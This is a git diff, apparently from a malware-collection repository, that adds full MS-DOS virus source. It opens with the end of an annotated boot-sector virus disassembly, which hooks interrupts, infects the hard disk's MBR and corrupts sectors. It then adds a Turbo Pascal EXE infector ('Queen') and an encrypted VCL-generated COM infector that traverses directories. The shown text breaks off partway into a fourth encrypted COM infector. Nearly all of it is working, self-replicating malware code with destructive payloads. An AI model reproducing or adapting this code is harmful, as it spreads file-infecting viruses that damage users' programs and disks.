ah,2 ;read ;0AB2 B4 02 + mov ch,0 ;track ;0AB4 B5 00 + mov cl,3 ;sector ;0AB6 B1 03 + mov dh,0 ;head ;0AB8 B6 00 + mov dl,80h ;hdd nr 0 ;0ABA B2 80 + int 13h ;0ABC CD 13 + + xor ax,ax ;0ABE 33 C0 + mov ds,ax ;0AC0 8E D8 + mov word ptr ds:[03D4h],'JM' ;virus sign. ;0AC2 C7 06 03D4 4A4D + mov ax,48Bh ;0AC8 B8 048B + mov ds:[0070h],ax ;int 1Ch offs ;0ACB A3 0070 + mov word ptr ds:[0072h],9F00h;int 1Ch seg ;0ACE C7 06 0072 9F00 + mov ax,0 ;0AD4 B8 0000 + mov es,ax ;0AD7 8E C0 + mov bx,7C00h ;oryg.boot buffer ;0AD9 .BB 7C00 + mov ah,2 ;read ;0ADC B4 02 + mov al,1 ;1 sector ;0ADE B0 01 + mov ch,0 ;track=0 ;0AE0 B5 00 + mov cl,2 ;oryg. boot sector = 2 ;0AE2 B1 02 + mov dh,0 ;head ;0AE4 B6 00 + mov dl,80h ;drive ;0AE6 B2 80 + int 13h ;0AE8 CD 13 + + xor ax,ax ;0AEA 33 C0 + push ax ;0AEC 50 + mov ax,7C00h ;0AED B8 7C00 + push ax ;0AF0 50 + mov bp,sp ;0AF1 8B EC + jmp dword ptr [bp] ;0AF3 FF 6E 00 +;-------End of MBR pattern + +;================================================================ +; int 1Ch handling routine (wait until DOS establishing vectors) +;---------------------------------------------------------------- + cmp word ptr cs:[30Eh],0 ;0AF6 2E: 83 3E 030E 00 + jne l_0AFF ;0AFC 75 01 + iret ;0AFE CF + +l_0AFF: push ax ;0AFF 50 + push ds ;0B00 1E + xor ax,ax ;0B01 33 C0 + mov ds,ax ;0B03 8E D8 + mov word ptr ds:[03D4h],'JM' ;0B05 C7 06 03D4 4A4D + dec word ptr cs:[30Eh] ;0B0B 2E: FF 0E 030E + cmp word ptr cs:[30Eh],0 ;counter to dest;0B10 2E: 83 3E 030E 00 + jne l_0B54 ;0B16 75 3C + cli ;0B18 FA + mov byte ptr cs:[30Dh],0 ;destruct.active;0B19 2E: C6 06 030D 00 + xor ax,ax ;0B1F 33 C0 + mov ds,ax ;0B21 8E D8 + mov ax,ds:[084h] ;int 21h offset ;0B23 A1 0084 + mov word ptr cs:[304h],ax ;0B26 2E: A3 0304 + mov ax,ds:[086h] ;int 21h segment;0B2A A1 0086 + mov word ptr cs:[306h],ax ;0B2D 2E: A3 0306 + mov ax,ds:[04Ch] ;int 13h offset ;0B31 A1 004C + mov word ptr cs:[308h],ax ;0B34 2E: A3 0308 + mov ax,ds:[04Eh] ;int 13h segment;0B38 A1 004E + mov word ptr cs:[30Ah],ax ;0B3B 2E: A3 030A + ;<- int 21h + mov word ptr ds:[084h],51Bh ;L_0B86 = offset;0B3F C7 06 0084 051B + mov ds:[086h],cs ; segment;0B45 8C 0E 0086 + ;<- int 13h + mov word ptr ds:[04Ch],4ECh ;L_0B57 = offset;0B49 C7 06 004C 04EC + mov ds:[04Eh],cs ; segment;0B4F 8C 0E 004E + + sti ;0B53 FB +l_0B54: pop ds ;0B54 1F + pop ax ;0B55 58 + iret ;0B56 CF + +;=============================================================== +; Int 13 handling routine - sector destruction +;--------------------------------------------------------------- + CMP BYTE PTR cs:[030Dh],1 ;disable ? ;0B57 2E803E0D0301 + JZ l_0B81 ;-> yes ;0B5D 7422 + CMP AH,2 ;0B5F 80FC02 + JNZ l_0B81 ;0B62 751D + INC BYTE PTR cs:[030Ch] ;interval 256 ;0B64 2EFE060C03 + CMP BYTE PTR cs:[030Ch],00 ;0B69 2E803E0C0300 + JNZ l_0B81 ;->still waiting;0B6F 7510 + PUSHF ;0B71 9C + CALL dword ptr cs:[0308h] ;int 13h;0B72 2EFF1E0803 + MOV WORD PTR es:[BX+00C8h],'jm' ;destr. ;0B77 26C787C8006D6A + RETF 2 ;0B7E CA0200 + +l_0B81: JMP dword ptr cs:[0308h] ;int 13h;0B81 2EFF2E0803 + +;=============================================================== +; Int 21h service routine +;--------------------------------------------------------------- +r_051B: CMP AX,4B00h ;0B86 3D004B + JZ l_0B8E ;0B89 7403 + JMP l_0C5F ;-> oryginal service ;0B8B E9D100 + + ;<- run program, contamine before +l_0B8E: push ax ;0B8E 50 + push bx ;0B8F 53 + push cx ;0B90 51 + push dx ;0B91 52 + push bp ;0B92 55 + push di ;0B93 57 + push si ;0B94 56 + push ds ;0B95 1E + push es ;0B96 06 + call s_0C64 ;check type of victim ;0B97 E8 00CA + jnc l_0B9F ;-> COM ;0B9A 73 03 + jmp l_0C50 ;-> not COM ;0B9C E9 00B1 + +l_0B9F: mov ax,4301h ;set file attribute ;0B9F B8 4301 + mov cx,0 ;no atributtes ;0BA2 B9 0000 + int 21h ;0BA5 CD 21 + + mov byte ptr cs:[30Dh],1 ;no destruction ;0BA7 2E: C6 06 030D 01 + mov ah,3Dh ;open file ;0BAD B4 3D + mov al,2 ;read/write ;0BAF B0 02 + int 21h ;0BB1 CD 21 + + jnc l_0BB8 ;-> O.K. ;0BB3 73 03 + jmp l_0C50 ;-> error, exit ;0BB5 E9 0098 + +l_0BB8: mov word ptr cs:[32Fh],ax ;file handle ;0BB8 2E: A3 032F + call s_0C7F ;check if file infected ;0BBC E8 00C0 + jnc l_0BC4 ;-> no ;0BBF 73 03 + jmp l_0C47 ;-> yes ;0BC1 E9 0083 + +l_0BC4: xor cx,cx ;offset := 0 ;0BC4 33 C9 + mov dx,cx ;0BC6 8B D1 + mov ax,4200h ;move file ptr BOF+offs ;0BC8 B8 4200 + mov bx,word ptr cs:[32Fh] ;file handle ;0BCB 2E: 8B 1E 032F + int 21h ;0BD0 CD 21 + + mov cx,4 ;4 bytes ;0BD2 B9 0004 + mov bx,word ptr cs:[32Fh] ;file handle ;0BD5 2E: 8B 1E 032F + mov dx,310h ;L097B = safes ;0BDA .BA 0310 + mov ah,3Fh ;read file ;0BDD B4 3F + push cs ;0BDF 0E + pop ds ;0BE0 1F + int 21h ;0BE1 CD 21 + + jnc l_0BE8 ;-> O.K. ;0BE3 73 03 + jmp short l_0C47 ;-> ERROR ;0BE5 EB 60 + nop ;0BE7 90 + +l_0BE8: mov ax,4202h ;file ptr EOF+of;0BE8 B8 4202 + mov bx,word ptr cs:[32Fh] ;file handle ;0BEB 2E: 8B 1E 032F + xor cx,cx ;offset=0 ;0BF0 33 C9 + xor dx,dx ;0BF2 33 D2 + int 21h ;0BF4 CD 21 + + mov word ptr cs:[331h],ax ;L099C = file l.;0BF6 2E: A3 0331 + cmp dx,0 ;high order word;0BFA 83 FA 00 + je l_0C02 ;-> LT 64K bytes;0BFD 74 03 + jmp short l_0C47 ;-> file too big;0BFF EB 46 + nop ;0C01 90 + +l_0C02: and ah,7Fh ;??? ;0C02 80 E4 7F + cmp ax,32h ;minimum file size ;0C05 3D 0032 + jg l_0C0D ;-> O.K. ;0C08 7F 03 + jmp short l_0C47 ;-> too small ;0C0A EB 3B + nop ;0C0C 90 + +l_0C0D: mov ah,40h ;file write ;0C0D B4 40 + mov bx,word ptr cs:[32Fh] ;file handle ;0C0F 2E: 8B 1E 032F + mov cx,5E9h ;virus length ;0C14 B9 05E9 + push cs ;0C17 0E + pop ds ;virus segment ;0C18 1F + mov dx,100h ;virus offset ;0C19 .BA 0100 + int 21h ;0C1C CD 21 + + mov ax,word ptr cs:[331h] ;file length ;0C1E 2E: A1 0331 + add ax,54Fh ;(+3 = L0CBD) ;0C22 05 054F + mov word ptr cs:[101h],ax ;0C25 2E: A3 0101 + xor cx,cx ;offset := 0 ;0C29 33 C9 + xor dx,dx ;0C2B 33 D2 + mov al,0 ;BOF + offset ;0C2D B0 00 + mov ah,42h ;set file ptr ;0C2F B4 42 + mov bx,word ptr cs:[32Fh] ;file handle ;0C31 2E: 8B 1E 032F + int 21h ;0C36 CD 21 + + mov cx,4 ;4 bytes ;0C38 B9 0004 + mov ah,40h ;write file ;0C3B B4 40 + mov bx,word ptr cs:[32Fh] ;file handle ;0C3D 2E: 8B 1E 032F + mov dx,100h ;virus start cod;0C42 .BA 0100 + int 21h ;0C45 CD 21 + + ;<- Contamination error entry +l_0C47: mov bx,word ptr cs:[32Fh] ;file handle ;0C47 2E: 8B 1E 032F + mov ah,3Eh ;close file ;0C4C B4 3E + int 21h ;0C4E CD 21 + + ;<-- file not infectable or end of infection +l_0C50: mov byte ptr cs:[30Dh],0 ;enable destruct;0C50 2E: C6 06 030D 00 + pop es ;0C56 07 + pop ds ;0C57 1F + pop si ;0C58 5E + pop di ;0C59 5F + pop bp ;0C5A 5D + pop dx ;0C5B 5A + pop cx ;0C5C 59 + pop bx ;0C5D 5B + pop ax ;0C5E 58 +l_0C5F: jmp dword ptr cs:[304h] ;oryg. int 21h ;0C5F 2E: FF 2E 0304 + +;======================================================= +; Subroutine - check type of victim +;------------------------------------------------------- +s_0C64 proc near + push ax ;0C64 50 + push bx ;0C65 53 + mov bx,dx ;victim name offset ;0C66 8B DA + mov al,0 ;End of path char ;0C68 B0 00 +l_0C6A: inc bx ;0C6A 43 + cmp [bx],al ;0C6B 38 07 + jne l_0C6A ;0C6D 75 FB + mov ax,4D4Fh ;'MO'- last COM letters ;0C6F B8 4D4F + cmp [bx-2],ax ;0C72 39 47 FE + je l_0C7B ;-> it's COM ;0C75 74 04 + stc ;'not infectable' - ptr ;0C77 F9 + jmp short l_0C7C ;0C78 EB 02 + db 90h ;0C7A 90 +l_0C7B: clc ;'infectable' - ptr ;0C7B F8 +l_0C7C: pop bx ;0C7C 5B + pop ax ;0C7D 58 + retn ;0C7E C3 +s_0C64 endp + +;======================================================= +; Subroutine - check if file infected +;------------------------------------------------------- +s_0C7F proc near + jmp short l_0C83 ;0C7F EB 02 + nop ;0C81 90 + +d_0C82 db 1 ;1 char file buffer ;0C82 01 + +l_0C83: push ax ;0C83 50 + push bx ;0C84 53 + push cx ;0C85 51 + push dx ;0C86 52 + push es ;0C87 06 + push ds ;0C88 1E + push cs ;0C89 0E + pop ds ;0C8A 1F + mov ax,4200h ;move file ptr BOF+offs ;0C8B B8 4200 + mov bx,word ptr cs:[32Fh] ;file handle ;0C8E 2E: 8B 1E 032F + xor cx,cx ;0C93 33 C9 + mov dx,3 ;0:3 ;0C95 BA 0003 + int 21h ;0C98 CD 21 + + mov ah,3Fh ;read ;0C9A B4 3F + mov cx,1 ;1 byte ;0C9C B9 0001 + mov bx,word ptr cs:[32Fh] ;file handle ;0C9F 2E: 8B 1E 032F + mov dx,0617h ;L_0C82 =file buffer ;0CA4 .BA 0617 + int 21h ;0CA7 CD 21 + + cmp byte ptr cs:[617h],'J' ;infection ptr ;0CA9 2E: 80 3E 0617 4A + je l_0CB5 ;-> allready infected ;0CAF 74 04 + clc ;0CB1 F8 + jmp short l_0CB6 ;-> ready to infection ;0CB2 EB 02 + nop ;0CB4 90 + +l_0CB5: stc ;<- infected ;0CB5 F9 +l_0CB6: pop es ;0CB6 07 + pop ds ;0CB7 1F + pop dx ;0CB8 5A + pop cx ;0CB9 59 + pop bx ;0CBA 5B + pop ax ;0CBB 58 + retn ;0CBC C3 +s_0C7F endp + +;======================================================= +; virus entry point +;------------------------------------------------------- +l_0CBD: call s_099E ;Is virus resident ? ;0CBD E8 FCDE + jnc l_0CE0 ;-> no ;0CC0 73 1E + + ;<- run victim + mov cx,4 ;changed bytes count ;0CC2 B9 0004 + cld ;0CC5 FC + mov di,100h ;address ;0CC6 .BF 0100 + call s_0CCC ;0CC9 E8 0000 + +;------ restore victim byte +s_0CCC proc near + pop bp ;0CCC 5D + sub bp,661h ;l_066B=virus begin-100h;0CCD 81 ED 0661 + lea si,[bp+310h] ;l_097B ;0CD1 8D B6 0310 + cld ;0CD5 FC + rep movsb ;0CD6 F3/ A4 + push cs ;0CD8 0E + mov ax,offset start ;0CD9 .B8 0100 + push ax ;0CDC 50 + retn 0FFFEh ;0CDD C2 FFFE +s_0CCC endp + + ;<- virus not resident yet +l_0CE0: call s_0CE3 ;0CE0 E8 0000 + +;------ make virus resident +s_0CE3 proc near + pop bp ;0CE3 5D + sub bp,678h ;=066Bh = vir_beg-100h ;0CE4 81 ED 0678 + push cs ;0CE8 0E + pop ds ;0CE9 1F + push cs ;0CEA 0E + pop es ;0CEB 07 + mov di,100h ;0CEC .BF 0100 + lea si,[bp+100h] ;virus code begin ;0CEF 8D B6 0100 + cld ;0CF3 FC + mov cx,5E9h ;virus length ;0CF4 B9 05E9 + rep movsb ;overwrite victim code ;0CF7 F3/ A4 + mov ax,0693h ;= l_0CFB ;0CF9 .B8 0693 + push ax ;0CFC 50 + retn ;0CFD C3 +s_0CE3 endp + +;--------------------------------------------------------------- +; Run in new place +;--------------------------------------------------------------- +r_0693: MOV DX,0314h ;=l_097F (Bad command..);0CFE BA1403 + MOV AH,9 ;display string ;0D01 B409 + INT 21h ;0D03 CD21 + PUSH CS ;0D05 0E + POP DS ;0D06 1F + MOV AX,3521h ;get int 21h ;0D07 B82135 + INT 21h ;0D0A CD21 + MOV cs:[0304h],BX ;= l_096F ;0D0C 2E891E0403 + MOV cs:[0306h],ES ;= l_0971 ;0D11 2E8C060603 + CLI ;0D16 FA + XOR AX,AX ;0D17 33C0 + MOV DS,AX ;0D19 8ED8 + MOV ds:[86h],CS ;int 21h segment ;0D1B 8C0E8600 + MOV AX,051Bh ;= l_0B86 ;0D1F B81B05 + MOV ds:[84h],AX ;int 21h offset ;0D22 A38400 + STI ;0D25 FB + CALL s_09B4 ;Set infection flag ;0D26 E88BFC + CALL s_09C3 ;contamine hard disk ;0D29 E897FC + PUSH CS ;0D2C 0E + POP DS ;0D2D 1F + + MOV AX,3513h ;get int 13h vector ;0D2E B81335 + INT 21h ;0D31 CD21 + MOV cs:[0308h],BX ;= l_0973 ;0D33 2E891E0803 + MOV cs:[030Ah],ES ;= l_0975 ;0D38 2E8C060A03 + + MOV DX,04ECh ;= l_0B57 ;0D3D BAEC04 + MOV AX,2513h ;set int 13h vector ;0D40 B81325 + INT 21h ;0D43 CD21 + + MOV DX,06E9h ;= l_0D54 ;0D45 BAE906 + MOV CL,4 ;0D48 B104 + SHR DX,CL ;0D4A D3EA + ADD DX,11h ;+256bytes (+alignement);0D4C 83C211 + MOV AX,3100h ;Terminate&Stay Resident;0D4F B80031 + INT 21h ;0D52 CD21 + +seg_a ends + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.queen.pas b/MSDOS/Virus.MSDOS.Unknown.queen.pas new file mode 100644 index 00000000..7f9f93ed --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.queen.pas @@ -0,0 +1,161 @@ +(* + Virus on Pascal. + ____________________________________________________________________ + This is a nontsr virus that infects *.exe files and codes the saved- + part of the file,so it can be hardly cured! + To compile,you'll need TurboPascal(I'm using v.7) and CRT.TPU and + DOS.TPU libreries! + ____________________________________________________________________ + (c) 1997 by Master of Infection + ------------------------------------------- +*) +{$M $1024,0,0} {Get some Memory!} +uses dos,crt; {Using libraries} +const id='Queen'; {Just my FAVORITE BAND ;-) } + long=7504; {Viri's length} + mark=$5B7; {Where Queen is in Viri} +var mybuf,exebuf:array [1..long] of char; {Arrays to use} + f,ff,fff,p:file; {File handles} + s,ss,sss:searchrec; {Searchrecords} + bufm1:array [1..5] of char; {Yes,One more array} + i:word; {And al the rest Variabels...} + time,time1,time2:longint; + attr,attr1,attr2:byte; + q:string; + y,j:integer; + ee,cmdline:string; + coder,decoder:byte; +(* + You could use one proprocedure,but I'v simply desided + to practice in Typing :-) +*) +procedure decode; +begin + For y:=1 To long Do {Well,Decode all the bytes in exeBuf array} + exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e); +end; +procedure code; +begin + For y:=1 To long Do + exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e); {We are using here the 7Eh +code,to XOR all the array} +end; +procedure timecomp; {Just to show ourself} +label 1,2; +begin + writeln('(c) 1995 Queen Hitman Virus inc.!'); + writeln('Ha-ha-ha,You have a virus!'); +end; +procedure execute; {This is a procedure,that will execute the file, +we are in now(starting from)} +begin + findfirst(paramstr(i),anyfile,sss); {Espessially for MR.LOZINSKY!!! :- } + if sss.size long then { DON't execute the source! :-( } + begin + assign(fff,sss.name); {Get the file_name in the handle} + attr2:=sss.attr; {Save attributes...} + time2:=sss.time; {... and time of the file} + reset(fff,1); {Open it!} + seek(fff,0); {Head in 0 point} + blockread(fff,mybuf,long); {Read from it the begining} + seek(fff,sss.size-long); {Put the header in the position:File_Size-Virus_size} + blockread(fff,exebuf,long); {And read the source EXE_Header and the file begining} + seek(fff,0); {Put the Head in 0} + decode; {Decode it!!! For MR.MOSTOVOY :-} + blockwrite(fff,exebuf,long); {Save the begining} + seek(fff,sss.size-long); {Head in File_Size-Virus_size} + truncate(fff); {Delete the end of the file,so if you've infected somthin like DR.WEB it woun't shout! ;-) } + close(fff); {And close it!} + setfattr(fff,archive); {Well,you know...LMD!!!} + setftime(fff,time2); + IF ParamCount < 0 Then {NO!!! This thing Executes the file} + Begin + For I:=1 To ParamCount Do + CmdLine:=CmdLine + ' ' + ParamStr(I); + End; + swapvectors; + exec(sss.name,cmdline); + swapvectors; + reset(fff,1); {Do it in the back sequence!...} + code; + seek(fff,0); + blockwrite(fff,mybuf,long); + seek(fff,sss.size-long); + blockwrite(fff,exebuf,long); + close(fff); + setftime(fff,time2); + setfattr(fff,attr2); +end; +end; +(* + Procedure,that will INFECT the *.EXE files,in the current directory + YEAHHH... + + +*) +procedure infect; +label next; {Just a label} +begin + findfirst('*.exe',anyfile,ss); {Find the Victim} + while doserror=0 do {While any available} + begin + if ss.size < long+1 then goto next; {Don't infect smaller then we are!} + assign(ff,ss.name); {You already know!} + attr1:=ss.attr; {And this too...} + time1:=ss.time; + setfattr(ff,archive); + reset(ff,1); + seek(ff,mark); {Put the head in the location of "Queen" in Viri(Check if this file is already infected!)} + blockread(ff,bufm1,5); {Read the mark} + if bufm1=id then goto next; {If TRUE,Then already infected :-((( } + seek(ff,0); {NO!!! :-))) } + blockread(ff,exebuf,long); {Copy the file_begining} + code; {And code it! :-D } + seek(ff,ss.size); {Head=File_End} + blockwrite(ff,exebuf,long); {Write the file_begining} + seek(ff,0); {Head=0} + blockwrite(ff,mybuf,long); {Write Virus!!! :- } + close(ff); {And close the file} + setftime(ff,time1); {...You know...} + setfattr(ff,attr1); +next: findnext(ss); {Seek the next victim! ;-))) } + end; +end; +(* + This is where the virus starts to think about it's children ;-) + HeHehe... +*) +procedure virusbody; +label next; {Label} +begin + findfirst(paramstr(i),anyfile,s); {Executed file} + while doserror=0 do {If available?!?} + begin + assign(f,s.name); {Cach the file_name in header} + attr:=s.attr; {..You..} + time:=s.time; {..Know..} + setfattr(f,archive); {..All..} + reset(f,1); {..This..} + seek(f,mark); {Check,if it is a virus(However,here can be a ERROR under DosShell&Win'95) :-((( } + blockread(f,bufm1,5); + if bufm1=id then {Yes!!! :-)))) } + begin + seek(f,0); {Copy the Virus_Body(It's source)} + blockread(f,mybuf,long); + end; + close(f); + setfattr(f,attr); + setftime(f,time); {And BAY!!!} +next: findnext(s); + end; +end; +(* + Here's the reall beginig... +*) +begin + checkbreak:=false; {LMS,Don't press ^C,It has to be finished!!! :-))) } + virusbody; {G } + infect; { O } + execute; {..O} + timecomp; {N.} +end. {BAY!!!} \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.random.asm b/MSDOS/Virus.MSDOS.Unknown.random.asm new file mode 100644 index 00000000..b550c520 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.random.asm @@ -0,0 +1,337 @@ +; RANDOM.ASM -- Random To all Ports +; Written by The W’z! + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + xor ah,ah ; BIOS get time function + int 01Ah + test dx,0001h ; Is timer divisible by 2? + jne no_infection ; If not then don't spread + call search_files ; Find and infect a file +no_infection: + xor ah,ah ; BIOS get time function + int 1Ah + xchg dx,ax ; AX holds low word of timer + mov dx,0FFh ; Start with port 255 +out_loop: out dx,al ; OUT a value to the port + dec dx ; Do the next port + jne out_loop ; Repeat until DX = 0 + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.ranger.asm b/MSDOS/Virus.MSDOS.Unknown.ranger.asm new file mode 100644 index 00000000..b18dd259 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ranger.asm @@ -0,0 +1,248 @@ + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 81h,35h ; xor word ptr [di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsw + movsb + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+com_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo 